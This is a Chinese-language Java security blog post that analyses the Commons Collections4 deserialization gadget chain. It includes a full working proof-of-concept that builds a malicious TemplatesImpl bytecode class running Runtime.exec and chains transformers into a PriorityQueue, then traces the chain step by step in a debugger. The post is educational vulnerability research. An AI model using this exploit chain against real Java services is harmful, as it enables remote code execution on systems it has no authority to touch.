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Java安全之Commons Collections4分析

文章首发：Java安全之CC4分析

0x00 前言

继续来分析一波CC4的链，在写该文前，看到网上大部分的文章都只给了一个调用链和POC。其实看CC4调用链的时候，能看出来CC4的调用链用到的也是前面的一些类去构造，只不过把CC2 和CC3的链给拼接了一下。

Java安全之Commons Collections2分析

Java安全之Commons Collections3分析

0x01 POC

package com.test;
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.*;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections44444444");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes = payload.toBytecode();
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();


        Field field=templates.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates,new byte[][]{bytes});

        Field name=templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"test");
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();




    }
}

用网上的POC做了一个小小的改动。

前面的一大段代码，在这里就不分析了，因为在CC2和CC3的链中，都是一样的。

Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);

CC4链中在这段代码中就做了一个简单的修改。

第一步是new了一个ConstantTransformer对象存储在Transformer[] 数组中传入的参数是TrAXFilter.class，如果调用到ConstantTransformer实例化对象的transform方法会直接返回一个TrAXFilter对象。

第二步new了一个InstantiateTransformer对象传入的是Templates.class和构造的恶意templates实例化对象。

第三步是使用了ChainedTransformer的修饰器将Transformer[]数组传入参数，当调用transform方法将给Transformer[]数组给遍历调用transform方法。

第四步将ChainedTransformer修饰后的对象再使用TransformingComparator修饰器给修饰一遍，这里再使用TransformingComparator来修饰一下，这样等调用到该实例化对象的compare,方法的时候就会去遍历调用Transformer[]的transform方法。

Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);

这里反射获取PriorityQueue 的成员变量comparator，然后设置PriorityQueue 的comparator值为transCom。

其他的都和前面的一模一样，这里就不做具体分析了，感兴趣的可以去看看前面3条链的一个调试和分析过程。下面来做CC链的调试。

0x03 POC调试

该链中利用的也是通过PriorityQueue的readObject作为入口点。在该readObject复写点打个断点进行跟踪。

在readObject会调用到heapify方法。跟进一下heapify方法

heapify方法会再去调用siftDown方法

在这里如果comparator不为空，还会继续调用siftDownUsingComparator方法，comparator在这里是被修饰的Transformer[]数组。前面使用反射去进行设置的。继续跟进siftDownUsingComparator方法。

到了这一步后，就会调用comparator的compare方法，在前面使用到了TransformingComparator来修饰，所有调用到TransformingComparator的compare方法。

在被TransformingComparator修饰前，还使用了ChainedTransformer修饰器进行修饰，在this.transformer为ChainedTransformer的实例化对象。所以这里调用的是ChainedTransformer的transform。前面也提过该方法会遍历调用Transformer[]数组的transform方法。

在第一次遍历调用transform方法时i，因为前面Transformer[]存储的第一个是ConstantTransformer。ConstantTransformer的transform会直接返回TrAXFilter对象。

第二次调用的时候则是传入TrAXFilter调用InstantiateTransformer的transform方法。

这里的this.iParamTypes为templates,而this.iArgs为构造的恶意TemplatesImpl实例化对象。

那么这一步就是获取TrAXFilter为templates的构造方法。然后调用该构造方法实例化对象，并且传入TemplatesImpl恶意类。跟进到TrAXFilter构造方法里面，查看一下具体实现。

在他的构造方法里面还会对传入的对象调用newTransformer方法。

此时传入的是恶意的TemplatesImpl实例化对象。调用的则是TemplatesImpl的newTransformer方法。继续跟进。

在该方法还会调用到getTransletInstance方法。继续跟进。

到了这里会判断_class为空的话就会去调用defineTransletClasses进行赋值。跟踪一下defineTransletClasses方法查看是如何赋值的。

_bytecodes对_class进行赋值。_bytecodes为Runtime类执行命令代码的字节码。

在执行完方法后，来到下一步。

对_class进行newInstance，进行实例化对象。执行完这一步后，就会弹出计算器，也就是说执行了我们前面构造好的命令执行代码。

调用链

getTransletInstancePriorityQueue.readObject->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare->ChainedTransformer.transform
->TrAXFilter(构造方法)->TemplatesImpl.newTransformer
->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc4.newInstance()->Runtime.exec()

0x04 结尾

在CC1和CC3里面只能在低版本执行，而CC2和CC4可以在1.8 的版本下执行，调试CC1,3用的是JDK7u21版本，而2和4使用的是jdk8U181版本，亲测可用。

CC4的链在一开始并不想去做一个分析，因为和前面分析的链基本一样。但是还是需要把它给记录下来，也可以去加深一下影响。